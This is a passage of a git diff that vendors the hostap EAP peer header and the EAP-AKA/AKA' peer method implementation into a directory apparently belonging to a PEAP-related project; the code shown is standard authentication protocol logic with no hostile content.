eap_method_type { + int vendor; + u32 method; +}; + +#ifdef IEEE8021X_EAPOL + +/** + * enum eapol_bool_var - EAPOL boolean state variables for EAP state machine + * + * These variables are used in the interface between EAP peer state machine and + * lower layer. These are defined in RFC 4137, Sect. 4.1. Lower layer code is + * expected to maintain these variables and register a callback functions for + * EAP state machine to get and set the variables. + */ +enum eapol_bool_var { + /** + * EAPOL_eapSuccess - EAP SUCCESS state reached + * + * EAP state machine reads and writes this value. + */ + EAPOL_eapSuccess, + + /** + * EAPOL_eapRestart - Lower layer request to restart authentication + * + * Set to TRUE in lower layer, FALSE in EAP state machine. + */ + EAPOL_eapRestart, + + /** + * EAPOL_eapFail - EAP FAILURE state reached + * + * EAP state machine writes this value. + */ + EAPOL_eapFail, + + /** + * EAPOL_eapResp - Response to send + * + * Set to TRUE in EAP state machine, FALSE in lower layer. + */ + EAPOL_eapResp, + + /** + * EAPOL_eapNoResp - Request has been process; no response to send + * + * Set to TRUE in EAP state machine, FALSE in lower layer. + */ + EAPOL_eapNoResp, + + /** + * EAPOL_eapReq - EAP request available from lower layer + * + * Set to TRUE in lower layer, FALSE in EAP state machine. + */ + EAPOL_eapReq, + + /** + * EAPOL_portEnabled - Lower layer is ready for communication + * + * EAP state machines reads this value. + */ + EAPOL_portEnabled, + + /** + * EAPOL_altAccept - Alternate indication of success (RFC3748) + * + * EAP state machines reads this value. + */ + EAPOL_altAccept, + + /** + * EAPOL_altReject - Alternate indication of failure (RFC3748) + * + * EAP state machines reads this value. + */ + EAPOL_altReject +}; + +/** + * enum eapol_int_var - EAPOL integer state variables for EAP state machine + * + * These variables are used in the interface between EAP peer state machine and + * lower layer. These are defined in RFC 4137, Sect. 4.1. Lower layer code is + * expected to maintain these variables and register a callback functions for + * EAP state machine to get and set the variables. + */ +enum eapol_int_var { + /** + * EAPOL_idleWhile - Outside time for EAP peer timeout + * + * This integer variable is used to provide an outside timer that the + * external (to EAP state machine) code must decrement by one every + * second until the value reaches zero. This is used in the same way as + * EAPOL state machine timers. EAP state machine reads and writes this + * value. + */ + EAPOL_idleWhile +}; + +/** + * struct eapol_callbacks - Callback functions from EAP to lower layer + * + * This structure defines the callback functions that EAP state machine + * requires from the lower layer (usually EAPOL state machine) for updating + * state variables and requesting information. eapol_ctx from + * eap_peer_sm_init() call will be used as the ctx parameter for these + * callback functions. + */ +struct eapol_callbacks { + /** + * get_config - Get pointer to the current network configuration + * @ctx: eapol_ctx from eap_peer_sm_init() call + */ + struct eap_peer_config * (*get_config)(void *ctx); + + /** + * get_bool - Get a boolean EAPOL state variable + * @variable: EAPOL boolean variable to get + * Returns: Value of the EAPOL variable + */ + Boolean (*get_bool)(void *ctx, enum eapol_bool_var variable); + + /** + * set_bool - Set a boolean EAPOL state variable + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @variable: EAPOL boolean variable to set + * @value: Value for the EAPOL variable + */ + void (*set_bool)(void *ctx, enum eapol_bool_var variable, + Boolean value); + + /** + * get_int - Get an integer EAPOL state variable + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @variable: EAPOL integer variable to get + * Returns: Value of the EAPOL variable + */ + unsigned int (*get_int)(void *ctx, enum eapol_int_var variable); + + /** + * set_int - Set an integer EAPOL state variable + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @variable: EAPOL integer variable to set + * @value: Value for the EAPOL variable + */ + void (*set_int)(void *ctx, enum eapol_int_var variable, + unsigned int value); + + /** + * get_eapReqData - Get EAP-Request data + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @len: Pointer to variable that will be set to eapReqDataLen + * Returns: Reference to eapReqData (EAP state machine will not free + * this) or %NULL if eapReqData not available. + */ + struct wpabuf * (*get_eapReqData)(void *ctx); + + /** + * set_config_blob - Set named configuration blob + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @blob: New value for the blob + * + * Adds a new configuration blob or replaces the current value of an + * existing blob. + */ + void (*set_config_blob)(void *ctx, struct wpa_config_blob *blob); + + /** + * get_config_blob - Get a named configuration blob + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @name: Name of the blob + * Returns: Pointer to blob data or %NULL if not found + */ + const struct wpa_config_blob * (*get_config_blob)(void *ctx, + const char *name); + + /** + * notify_pending - Notify that a pending request can be retried + * @ctx: eapol_ctx from eap_peer_sm_init() call + * + * An EAP method can perform a pending operation (e.g., to get a + * response from an external process). Once the response is available, + * this callback function can be used to request EAPOL state machine to + * retry delivering the previously received (and still unanswered) EAP + * request to EAP state machine. + */ + void (*notify_pending)(void *ctx); + + /** + * eap_param_needed - Notify that EAP parameter is needed + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @field: Field indicator (e.g., WPA_CTRL_REQ_EAP_IDENTITY) + * @txt: User readable text describing the required parameter + */ + void (*eap_param_needed)(void *ctx, enum wpa_ctrl_req_type field, + const char *txt); + + /** + * notify_cert - Notification of a peer certificate + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @depth: Depth in certificate chain (0 = server) + * @subject: Subject of the peer certificate + * @cert_hash: SHA-256 hash of the certificate + * @cert: Peer certificate + */ + void (*notify_cert)(void *ctx, int depth, const char *subject, + const char *cert_hash, const struct wpabuf *cert); + + /** + * notify_status - Notification of the current EAP state + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @status: Step in the process of EAP authentication + * @parameter: Step-specific parameter, e.g., EAP method name + */ + void (*notify_status)(void *ctx, const char *status, + const char *parameter); + + /** + * set_anon_id - Set or add anonymous identity + * @ctx: eapol_ctx from eap_peer_sm_init() call + * @id: Anonymous identity (e.g., EAP-SIM pseudonym) or %NULL to clear + * @len: Length of anonymous identity in octets + */ + void (*set_anon_id)(void *ctx, const u8 *id, size_t len); +}; + +/** + * struct eap_config - Configuration for EAP state machine + */ +struct eap_config { + /** + * opensc_engine_path - OpenSC engine for OpenSSL engine support + * + * Usually, path to engine_opensc.so. + */ + const char *opensc_engine_path; + /** + * pkcs11_engine_path - PKCS#11 engine for OpenSSL engine support + * + * Usually, path to engine_pkcs11.so. + */ + const char *pkcs11_engine_path; + /** + * pkcs11_module_path - OpenSC PKCS#11 module for OpenSSL engine + * + * Usually, path to opensc-pkcs11.so. + */ + const char *pkcs11_module_path; + /** + * wps - WPS context data + * + * This is only used by EAP-WSC and can be left %NULL if not available. + */ + struct wps_context *wps; + + /** + * cert_in_cb - Include server certificates in callback + */ + int cert_in_cb; +}; + +struct eap_sm * eap_peer_sm_init(void *eapol_ctx, + struct eapol_callbacks *eapol_cb, + void *msg_ctx, struct eap_config *conf); +void eap_peer_sm_deinit(struct eap_sm *sm); +int eap_peer_sm_step(struct eap_sm *sm); +void eap_sm_abort(struct eap_sm *sm); +int eap_sm_get_status(struct eap_sm *sm, char *buf, size_t buflen, + int verbose); +const char * eap_sm_get_method_name(struct eap_sm *sm); +struct wpabuf * eap_sm_buildIdentity(struct eap_sm *sm, int id, int encrypted); +void eap_sm_request_identity(struct eap_sm *sm); +void eap_sm_request_password(struct eap_sm *sm); +void eap_sm_request_new_password(struct eap_sm *sm); +void eap_sm_request_pin(struct eap_sm *sm); +void eap_sm_request_otp(struct eap_sm *sm, const char *msg, size_t msg_len); +void eap_sm_request_passphrase(struct eap_sm *sm); +void eap_sm_request_sim(struct eap_sm *sm, const char *req); +void eap_sm_notify_ctrl_attached(struct eap_sm *sm); +u32 eap_get_phase2_type(const char *name, int *vendor); +struct eap_method_type * eap_get_phase2_types(struct eap_peer_config *config, + size_t *count); +void eap_set_fast_reauth(struct eap_sm *sm, int enabled); +void eap_set_workaround(struct eap_sm *sm, unsigned int workaround); +void eap_set_force_disabled(struct eap_sm *sm, int disabled); +void eap_set_external_sim(struct eap_sm *sm, int external_sim); +int eap_key_available(struct eap_sm *sm); +void eap_notify_success(struct eap_sm *sm); +void eap_notify_lower_layer_success(struct eap_sm *sm); +const u8 * eap_get_eapSessionId(struct eap_sm *sm, size_t *len); +const u8 * eap_get_eapKeyData(struct eap_sm *sm, size_t *len); +struct wpabuf * eap_get_eapRespData(struct eap_sm *sm); +void eap_register_scard_ctx(struct eap_sm *sm, void *ctx); +void eap_invalidate_cached_session(struct eap_sm *sm); + +int eap_is_wps_pbc_enrollee(struct eap_peer_config *conf); +int eap_is_wps_pin_enrollee(struct eap_peer_config *conf); + +struct ext_password_data; +void eap_sm_set_ext_pw_ctx(struct eap_sm *sm, struct ext_password_data *ext); +void eap_set_anon_id(struct eap_sm *sm, const u8 *id, size_t len); + +#endif /* IEEE8021X_EAPOL */ + +#endif /* EAP_H */ diff --git a/peapwn/mods/hostap/src/eap_peer/eap_aka.c b/peapwn/mods/hostap/src/eap_peer/eap_aka.c new file mode 100644 index 000000000..d3cbaca6d --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_aka.c @@ -0,0 +1,1537 @@ +/* + * EAP peer method: EAP-AKA (RFC 4187) and EAP-AKA' (RFC 5448) + * Copyright (c) 2004-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "pcsc_funcs.h" +#include "crypto/crypto.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "crypto/milenage.h" +#include "eap_common/eap_sim_common.h" +#include "eap_config.h" +#include "eap_i.h" + + +struct eap_aka_data { + u8 ik[EAP_AKA_IK_LEN], ck[EAP_AKA_CK_LEN], res[EAP_AKA_RES_MAX_LEN]; + size_t res_len; + u8 nonce_s[EAP_SIM_NONCE_S_LEN]; + u8 mk[EAP_SIM_MK_LEN]; + u8 k_aut[EAP_AKA_PRIME_K_AUT_LEN]; + u8 k_encr[EAP_SIM_K_ENCR_LEN]; + u8 k_re[EAP_AKA_PRIME_K_RE_LEN]; /* EAP-AKA' only */ + u8 msk[EAP_SIM_KEYING_DATA_LEN]; + u8 emsk[EAP_EMSK_LEN]; + u8 rand[EAP_AKA_RAND_LEN], autn[EAP_AKA_AUTN_LEN]; + u8 auts[EAP_AKA_AUTS_LEN]; + + int num_id_req, num_notification; + u8 *pseudonym; + size_t pseudonym_len; + u8 *reauth_id; + size_t reauth_id_len; + int reauth; + unsigned int counter, counter_too_small; + u8 *last_eap_identity; + size_t last_eap_identity_len; + enum { + CONTINUE, RESULT_SUCCESS, RESULT_FAILURE, SUCCESS, FAILURE + } state; + + struct wpabuf *id_msgs; + int prev_id; + int result_ind, use_result_ind; + u8 eap_method; + u8 *network_name; + size_t network_name_len; + u16 kdf; + int kdf_negotiation; +}; + + +#ifndef CONFIG_NO_STDOUT_DEBUG +static const char * eap_aka_state_txt(int state) +{ + switch (state) { + case CONTINUE: + return "CONTINUE"; + case RESULT_SUCCESS: + return "RESULT_SUCCESS"; + case RESULT_FAILURE: + return "RESULT_FAILURE"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "?"; + } +} +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + +static void eap_aka_state(struct eap_aka_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-AKA: %s -> %s", + eap_aka_state_txt(data->state), + eap_aka_state_txt(state)); + data->state = state; +} + + +static void * eap_aka_init(struct eap_sm *sm) +{ + struct eap_aka_data *data; + const char *phase1 = eap_get_config_phase1(sm); + struct eap_peer_config *config = eap_get_config(sm); + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + data->eap_method = EAP_TYPE_AKA; + + eap_aka_state(data, CONTINUE); + data->prev_id = -1; + + data->result_ind = phase1 && os_strstr(phase1, "result_ind=1") != NULL; + + if (config && config->anonymous_identity) { + data->pseudonym = os_malloc(config->anonymous_identity_len); + if (data->pseudonym) { + os_memcpy(data->pseudonym, config->anonymous_identity, + config->anonymous_identity_len); + data->pseudonym_len = config->anonymous_identity_len; + } + } + + return data; +} + + +#ifdef EAP_AKA_PRIME +static void * eap_aka_prime_init(struct eap_sm *sm) +{ + struct eap_aka_data *data = eap_aka_init(sm); + if (data == NULL) + return NULL; + data->eap_method = EAP_TYPE_AKA_PRIME; + return data; +} +#endif /* EAP_AKA_PRIME */ + + +static void eap_aka_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_aka_data *data = priv; + if (data) { + os_free(data->pseudonym); + os_free(data->reauth_id); + os_free(data->last_eap_identity); + wpabuf_free(data->id_msgs); + os_free(data->network_name); + os_free(data); + } +} + + +static int eap_aka_ext_sim_req(struct eap_sm *sm, struct eap_aka_data *data) +{ + char req[200], *pos, *end; + + wpa_printf(MSG_DEBUG, "EAP-AKA: Use external USIM processing"); + pos = req; + end = pos + sizeof(req); + pos += os_snprintf(pos, end - pos, "UMTS-AUTH"); + pos += os_snprintf(pos, end - pos, ":"); + pos += wpa_snprintf_hex(pos, end - pos, data->rand, EAP_AKA_RAND_LEN); + pos += os_snprintf(pos, end - pos, ":"); + pos += wpa_snprintf_hex(pos, end - pos, data->autn, EAP_AKA_AUTN_LEN); + + eap_sm_request_sim(sm, req); + return 1; +} + + +static int eap_aka_ext_sim_result(struct eap_sm *sm, struct eap_aka_data *data, + struct eap_peer_config *conf) +{ + char *resp, *pos; + + wpa_printf(MSG_DEBUG, + "EAP-AKA: Use result from external USIM processing"); + + resp = conf->external_sim_resp; + conf->external_sim_resp = NULL; + + if (os_strncmp(resp, "UMTS-AUTS:", 10) == 0) { + pos = resp + 10; + if (hexstr2bin(pos, data->auts, EAP_AKA_AUTS_LEN) < 0) + goto invalid; + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA: AUTS", data->auts, + EAP_AKA_AUTS_LEN); + os_free(resp); + return -2; + } + + if (os_strncmp(resp, "UMTS-AUTH:", 10) != 0) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Unrecognized external USIM processing response"); + os_free(resp); + return -1; + } + + pos = resp + 10; + wpa_hexdump(MSG_DEBUG, "EAP-AKA: RAND", data->rand, EAP_AKA_RAND_LEN); + + if (hexstr2bin(pos, data->ik, EAP_AKA_IK_LEN) < 0) + goto invalid; + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA: IK", data->ik, EAP_AKA_IK_LEN); + pos += EAP_AKA_IK_LEN * 2; + if (*pos != ':') + goto invalid; + pos++; + + if (hexstr2bin(pos, data->ck, EAP_AKA_CK_LEN) < 0) + goto invalid; + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA: CK", data->ck, EAP_AKA_CK_LEN); + pos += EAP_AKA_CK_LEN * 2; + if (*pos != ':') + goto invalid; + pos++; + + data->res_len = os_strlen(pos) / 2; + if (data->res_len > EAP_AKA_RES_MAX_LEN) { + data->res_len = 0; + goto invalid; + } + if (hexstr2bin(pos, data->res, data->res_len) < 0) + goto invalid; + wpa_hexdump_key(MSG_DEBUG, "EAP-AKA: RES", data->res, data->res_len); + + os_free(resp); + return 0; + +invalid: + wpa_printf(MSG_DEBUG, "EAP-AKA: Invalid external USIM processing UMTS-AUTH response"); + os_free(resp); + return -1; +} + + +static int eap_aka_umts_auth(struct eap_sm *sm, struct eap_aka_data *data) +{ + struct eap_peer_config *conf; + + wpa_printf(MSG_DEBUG, "EAP-AKA: UMTS authentication algorithm"); + + conf = eap_get_config(sm); + if (conf == NULL) + return -1; + + if (sm->external_sim) { + if (conf->external_sim_resp) + return eap_aka_ext_sim_result(sm, data, conf); + else + return eap_aka_ext_sim_req(sm, data); + } + + if (conf->pcsc) { + return scard_umts_auth(sm->scard_ctx, data->rand, + data->autn, data->res, &data->res_len, + data->ik, data->ck, data->auts); + } + +#ifdef CONFIG_USIM_SIMULATOR + if (conf->password) { + u8 opc[16], k[16], sqn[6]; + const char *pos; + wpa_printf(MSG_DEBUG, "EAP-AKA: Use internal Milenage " + "implementation for UMTS authentication"); + if (conf->password_len < 78) { + wpa_printf(MSG_DEBUG, "EAP-AKA: invalid Milenage " + "password"); + return -1; + } + pos = (const char *) conf->password; + if (hexstr2bin(pos, k, 16)) + return -1; + pos += 32; + if (*pos != ':') + return -1; + pos++; + + if (hexstr2bin(pos, opc, 16)) + return -1; + pos += 32; + if (*pos != ':') + return -1; + pos++; + + if (hexstr2bin(pos, sqn, 6)) + return -1; + + return milenage_check(opc, k, sqn, data->rand, data->autn, + data->ik, data->ck, + data->res, &data->res_len, data->auts); + } +#endif /* CONFIG_USIM_SIMULATOR */ + +#ifdef CONFIG_USIM_HARDCODED + wpa_printf(MSG_DEBUG, "EAP-AKA: Use hardcoded Kc and SRES values for " + "testing"); + + /* These hardcoded Kc and SRES values are used for testing. + * Could consider making them configurable. */ + os_memset(data->res, '2', EAP_AKA_RES_MAX_LEN); + data->res_len = EAP_AKA_RES_MAX_LEN; + os_memset(data->ik, '3', EAP_AKA_IK_LEN); + os_memset(data->ck, '4', EAP_AKA_CK_LEN); + { + u8 autn[EAP_AKA_AUTN_LEN]; + os_memset(autn, '1', EAP_AKA_AUTN_LEN); + if (os_memcmp(autn, data->autn, EAP_AKA_AUTN_LEN) != 0) { + wpa_printf(MSG_WARNING, "EAP-AKA: AUTN did not match " + "with expected value"); + return -1; + } + } +#if 0 + { + static int test_resync = 1; + if (test_resync) { + /* Test Resynchronization */ + test_resync = 0; + return -2; + } + } +#endif + return 0; + +#else /* CONFIG_USIM_HARDCODED */ + + wpa_printf(MSG_DEBUG, "EAP-AKA: No UMTS authentication algorith " + "enabled"); + return -1; + +#endif /* CONFIG_USIM_HARDCODED */ +} + + +#define CLEAR_PSEUDONYM 0x01 +#define CLEAR_REAUTH_ID 0x02 +#define CLEAR_EAP_ID 0x04 + +static void eap_aka_clear_identities(struct eap_sm *sm, + struct eap_aka_data *data, int id) +{ + if ((id & CLEAR_PSEUDONYM) && data->pseudonym) { + wpa_printf(MSG_DEBUG, "EAP-AKA: forgetting old pseudonym"); + os_free(data->pseudonym); + data->pseudonym = NULL; + data->pseudonym_len = 0; + eap_set_anon_id(sm, NULL, 0); + } + if ((id & CLEAR_REAUTH_ID) && data->reauth_id) { + wpa_printf(MSG_DEBUG, "EAP-AKA: forgetting old reauth_id"); + os_free(data->reauth_id); + data->reauth_id = NULL; + data->reauth_id_len = 0; + } + if ((id & CLEAR_EAP_ID) && data->last_eap_identity) { + wpa_printf(MSG_DEBUG, "EAP-AKA: forgetting old eap_id"); + os_free(data->last_eap_identity); + data->last_eap_identity = NULL; + data->last_eap_identity_len = 0; + } +} + + +static int eap_aka_learn_ids(struct eap_sm *sm, struct eap_aka_data *data, + struct eap_sim_attrs *attr) +{ + if (attr->next_pseudonym) { + const u8 *identity = NULL; + size_t identity_len = 0; + const u8 *realm = NULL; + size_t realm_len = 0; + + wpa_hexdump_ascii(MSG_DEBUG, + "EAP-AKA: (encr) AT_NEXT_PSEUDONYM", + attr->next_pseudonym, + attr->next_pseudonym_len); + os_free(data->pseudonym); + /* Look for the realm of the permanent identity */ + identity = eap_get_config_identity(sm, &identity_len); + if (identity) { + for (realm = identity, realm_len = identity_len; + realm_len > 0; realm_len--, realm++) { + if (*realm == '@') + break; + } + } + data->pseudonym = os_malloc(attr->next_pseudonym_len + + realm_len); + if (data->pseudonym == NULL) { + wpa_printf(MSG_INFO, "EAP-AKA: (encr) No memory for " + "next pseudonym"); + data->pseudonym_len = 0; + return -1; + } + os_memcpy(data->pseudonym, attr->next_pseudonym, + attr->next_pseudonym_len); + if (realm_len) { + os_memcpy(data->pseudonym + attr->next_pseudonym_len, + realm, realm_len); + } + data->pseudonym_len = attr->next_pseudonym_len + realm_len; + eap_set_anon_id(sm, data->pseudonym, data->pseudonym_len); + } + + if (attr->next_reauth_id) { + os_free(data->reauth_id); + data->reauth_id = os_malloc(attr->next_reauth_id_len); + if (data->reauth_id == NULL) { + wpa_printf(MSG_INFO, "EAP-AKA: (encr) No memory for " + "next reauth_id"); + data->reauth_id_len = 0; + return -1; + } + os_memcpy(data->reauth_id, attr->next_reauth_id, + attr->next_reauth_id_len); + data->reauth_id_len = attr->next_reauth_id_len; + wpa_hexdump_ascii(MSG_DEBUG, + "EAP-AKA: (encr) AT_NEXT_REAUTH_ID", + data->reauth_id, + data->reauth_id_len); + } + + return 0; +} + + +static int eap_aka_add_id_msg(struct eap_aka_data *data, + const struct wpabuf *msg) +{ + if (msg == NULL) + return -1; + + if (data->id_msgs == NULL) { + data->id_msgs = wpabuf_dup(msg); + return data->id_msgs == NULL ? -1 : 0; + } + + if (wpabuf_resize(&data->id_msgs, wpabuf_len(msg)) < 0) + return -1; + wpabuf_put_buf(data->id_msgs, msg); + + return 0; +} + + +static void eap_aka_add_checkcode(struct eap_aka_data *data, + struct eap_sim_msg *msg) +{ + const u8 *addr; + size_t len; + u8 hash[SHA256_MAC_LEN]; + + wpa_printf(MSG_DEBUG, " AT_CHECKCODE"); + + if (data->id_msgs == NULL) { + /* + * No EAP-AKA/Identity packets were exchanged - send empty + * checkcode. + */ + eap_sim_msg_add(msg, EAP_SIM_AT_CHECKCODE, 0, NULL, 0); + return; + } + + /* Checkcode is SHA1/SHA256 hash over all EAP-AKA/Identity packets. */ + addr = wpabuf_head(data->id_msgs); + len = wpabuf_len(data->id_msgs); + wpa_hexdump(MSG_MSGDUMP, "EAP-AKA: AT_CHECKCODE data", addr, len); +#ifdef EAP_AKA_PRIME + if (data->eap_method == EAP_TYPE_AKA_PRIME) + sha256_vector(1, &addr, &len, hash); + else +#endif /* EAP_AKA_PRIME */ + sha1_vector(1, &addr, &len, hash); + + eap_sim_msg_add(msg, EAP_SIM_AT_CHECKCODE, 0, hash, + data->eap_method == EAP_TYPE_AKA_PRIME ? + EAP_AKA_PRIME_CHECKCODE_LEN : EAP_AKA_CHECKCODE_LEN); +} + + +static int eap_aka_verify_checkcode(struct eap_aka_data *data, + const u8 *checkcode, size_t checkcode_len) +{ + const u8 *addr; + size_t len; + u8 hash[SHA256_MAC_LEN]; + size_t hash_len; + + if (checkcode == NULL) + return -1; + + if (data->id_msgs == NULL) { + if (checkcode_len != 0) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Checkcode from server " + "indicates that AKA/Identity messages were " + "used, but they were not"); + return -1; + } + return 0; + } + + hash_len = data->eap_method == EAP_TYPE_AKA_PRIME ? + EAP_AKA_PRIME_CHECKCODE_LEN : EAP_AKA_CHECKCODE_LEN; + + if (checkcode_len != hash_len) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Checkcode from server " + "indicates that AKA/Identity message were not " + "used, but they were"); + return -1; + } + + /* Checkcode is SHA1/SHA256 hash over all EAP-AKA/Identity packets. */ + addr = wpabuf_head(data->id_msgs); + len = wpabuf_len(data->id_msgs); +#ifdef EAP_AKA_PRIME + if (data->eap_method == EAP_TYPE_AKA_PRIME) + sha256_vector(1, &addr, &len, hash); + else +#endif /* EAP_AKA_PRIME */ + sha1_vector(1, &addr, &len, hash); + + if (os_memcmp(hash, checkcode, hash_len) != 0) { + wpa_printf(MSG_DEBUG, "EAP-AKA: Mismatch in AT_CHECKCODE"); + return -1; + } + + return 0; +} + + +static struct wpabuf * eap_aka_client_error(struct eap_aka_data *data, u8 id, + int err) +{ + struct eap_sim_msg *msg; + + eap_aka_state(data, FAILURE); + data->num_id_req = 0; + data->num_notification = 0; + + wpa_printf(MSG_DEBUG, "EAP-AKA: Send Client-Error (error code %d)", + err); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, data->eap_method, + EAP_AKA_SUBTYPE_CLIENT_ERROR); + eap_sim_msg_add(msg, EAP_SIM_AT_CLIENT_ERROR_CODE, err, NULL, 0); + return eap_sim_msg_finish(msg, NULL, NULL, 0); +} + + +static struct wpabuf * eap_aka_authentication_reject(struct eap_aka_data *data, + u8 id) +{ + struct eap_sim_msg *msg; + + eap_aka_state(data, FAILURE); + data->num_id_req = 0; + data->num_notification = 0; + + wpa_printf(MSG_DEBUG, "Generating EAP-AKA Authentication-Reject " + "(id=%d)", id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, data->eap_method, + EAP_AKA_SUBTYPE_AUTHENTICATION_REJECT); + return eap_sim_msg_finish(msg, NULL, NULL, 0); +} + + +static struct wpabuf * eap_aka_synchronization_failure( + struct eap_aka_data *data, u8 id) +{ + struct eap_sim_msg *msg; + + data->num_id_req = 0; + data->num_notification = 0; + + wpa_printf(MSG_DEBUG, "Generating EAP-AKA Synchronization-Failure " + "(id=%d)", id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, data->eap_method, + EAP_AKA_SUBTYPE_SYNCHRONIZATION_FAILURE); + wpa_printf(MSG_DEBUG, " AT_AUTS"); + eap_sim_msg_add_full(msg, EAP_SIM_AT_AUTS, data->auts, + EAP_AKA_AUTS_LEN); + return eap_sim_msg_finish(msg, NULL, NULL, 0); +} + + +static struct wpabuf * eap_aka_response_identity(struct eap_sm *sm, + struct eap_aka_data *data, + u8 id, + enum eap_sim_id_req id_req) +{ + const u8 *identity = NULL; + size_t identity_len = 0; + struct eap_sim_msg *msg; + + data->reauth = 0; + if (id_req == ANY_ID && data->reauth_id) { + identity = data->reauth_id; + identity_len = data->reauth_id_len; + data->reauth = 1; + } else if ((id_req == ANY_ID || id_req == FULLAUTH_ID) && + data->pseudonym) { + identity = data->pseudonym; + identity_len = data->pseudonym_len; + eap_aka_clear_identities(sm, data, CLEAR_REAUTH_ID); + } else if (id_req != NO_ID_REQ) { + identity = eap_get_config_identity(sm, &identity_len); + if (identity) { + eap_aka_clear_identities(sm, data, CLEAR_PSEUDONYM | + CLEAR_REAUTH_ID); + } + } + if (id_req != NO_ID_REQ) + eap_aka_clear_identities(sm, data, CLEAR_EAP_ID); + + wpa_printf(MSG_DEBUG, "Generating EAP-AKA Identity (id=%d)", id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, data->eap_method, + EAP_AKA_SUBTYPE_IDENTITY); + + if (identity) { + wpa_hexdump_ascii(MSG_DEBUG, " AT_IDENTITY", + identity, identity_len); + eap_sim_msg_add(msg, EAP_SIM_AT_IDENTITY, identity_len, + identity, identity_len); + } + + return eap_sim_msg_finish(msg, NULL, NULL, 0); +} + + +static struct wpabuf * eap_aka_response_challenge(struct eap_aka_data *data, + u8 id) +{ + struct eap_sim_msg *msg; + + wpa_printf(MSG_DEBUG, "Generating EAP-AKA Challenge (id=%d)", id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, data->eap_method, + EAP_AKA_SUBTYPE_CHALLENGE); + wpa_printf(MSG_DEBUG, " AT_RES"); + eap_sim_msg_add(msg, EAP_SIM_AT_RES, data->res_len * 8, + data->res, data->res_len); + eap_aka_add_checkcode(data, msg); + if (data->use_result_ind) { + wpa_printf(MSG_DEBUG, " AT_RESULT_IND"); + eap_sim_msg_add(msg, EAP_SIM_AT_RESULT_IND, 0, NULL, 0); + } + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + return eap_sim_msg_finish(msg, data->k_aut, (u8 *) "", 0); +} + + +static struct wpabuf * eap_aka_response_reauth(struct eap_aka_data *data, + u8 id, int counter_too_small, + const u8 *nonce_s) +{ + struct eap_sim_msg *msg; + unsigned int counter; + + wpa_printf(MSG_DEBUG, "Generating EAP-AKA Reauthentication (id=%d)", + id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, data->eap_method, + EAP_AKA_SUBTYPE_REAUTHENTICATION); + wpa_printf(MSG_DEBUG, " AT_IV"); + wpa_printf(MSG_DEBUG, " AT_ENCR_DATA"); + eap_sim_msg_add_encr_start(msg, EAP_SIM_AT_IV, EAP_SIM_AT_ENCR_DATA); + + if (counter_too_small) { + wpa_printf(MSG_DEBUG, " *AT_COUNTER_TOO_SMALL"); + eap_sim_msg_add(msg, EAP_SIM_AT_COUNTER_TOO_SMALL, 0, NULL, 0); + counter = data->counter_too_small; + } else + counter = data->counter; + + wpa_printf(MSG_DEBUG, " *AT_COUNTER %d", counter); + eap_sim_msg_add(msg, EAP_SIM_AT_COUNTER, counter, NULL, 0); + + if (eap_sim_msg_add_encr_end(msg, data->k_encr, EAP_SIM_AT_PADDING)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Failed to encrypt " + "AT_ENCR_DATA"); + eap_sim_msg_free(msg); + return NULL; + } + eap_aka_add_checkcode(data, msg); + if (data->use_result_ind) { + wpa_printf(MSG_DEBUG, " AT_RESULT_IND"); + eap_sim_msg_add(msg, EAP_SIM_AT_RESULT_IND, 0, NULL, 0); + } + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + return eap_sim_msg_finish(msg, data->k_aut, nonce_s, + EAP_SIM_NONCE_S_LEN); +} + + +static struct wpabuf * eap_aka_response_notification(struct eap_aka_data *data, + u8 id, u16 notification) +{ + struct eap_sim_msg *msg; + u8 *k_aut = (notification & 0x4000) == 0 ? data->k_aut : NULL; + + wpa_printf(MSG_DEBUG, "Generating EAP-AKA Notification (id=%d)", id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, data->eap_method, + EAP_AKA_SUBTYPE_NOTIFICATION); + if (k_aut && data->reauth) { + wpa_printf(MSG_DEBUG, " AT_IV"); + wpa_printf(MSG_DEBUG, " AT_ENCR_DATA"); + eap_sim_msg_add_encr_start(msg, EAP_SIM_AT_IV, + EAP_SIM_AT_ENCR_DATA); + wpa_printf(MSG_DEBUG, " *AT_COUNTER %d", data->counter); + eap_sim_msg_add(msg, EAP_SIM_AT_COUNTER, data->counter, + NULL, 0); + if (eap_sim_msg_add_encr_end(msg, data->k_encr, + EAP_SIM_AT_PADDING)) { + wpa_printf(MSG_WARNING, "EAP-AKA: Failed to encrypt " + "AT_ENCR_DATA"); + eap_sim_msg_free(msg); + return NULL; + } + } + if (k_aut) { + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + } + return 